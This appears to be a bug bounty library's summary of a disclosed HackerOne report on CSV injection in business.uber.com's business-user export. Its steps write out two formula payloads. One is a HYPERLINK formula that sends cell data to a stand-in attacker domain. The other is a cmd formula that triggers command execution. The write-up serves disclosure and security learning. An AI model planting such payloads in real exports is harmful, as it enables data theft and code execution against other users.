# CSV Injection in business.uber.com

Admin-set usernames starting with '=' inject formulas into downloaded CSV, enabling data exfiltration via HYPERLINK and code execution via cmd payloads on other admins.

- Payout: $1,000
- Severity: medium
- Program: Uber
- Credited: ddworken
- Disclosed: 2016-04-06
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/126109
- Library page: https://bugbountylibrary.com/r/h1%3A126109
- Tags: domain:web impact:data-leak impact:rce kind:bounty platform:hackerone sev:medium tech:email vuln:command-injection vuln:info-disclosure

**Target:** business.uber.com CSV export of business users
**Root cause:** Username field accepts values beginning with '=' and is written unsanitized into CSV exports, so spreadsheet apps interpret them as formulas.
**Steps:**
1. As a business admin, set a username to `=HYPERLINK("https://maliciousDomain.com/evil.html?data="&A1, "Click to view additional information")`
2. Another admin downloads the CSV of business users
3. Open CSV in Excel; cell renders as clickable link that exfiltrates A1 to attacker domain
4. Alternatively set username to `=cmd|' /C calc'!A0` to trigger command execution when victim clicks through trust prompts
**How found:** Noticed names could begin with '=' and reasoned that CSV exports would be interpreted as formulas by spreadsheet software.
**Exploitation:** One admin sets a malicious formula as a username; a second admin downloads the CSV and opens it in Excel, clicking through trust warnings because the file comes from Uber, leading to data exfiltration or command execution on the victim's machine.
**Escalation:** Cross-admin: one admin compromises another admin's machine via shared CSV export.
**Insight:** Any user-controlled field rendered into CSV exports (usernames, trip names, labels) is a CSV-injection sink; test multi-user contexts where one user's input reaches another user's downloaded file.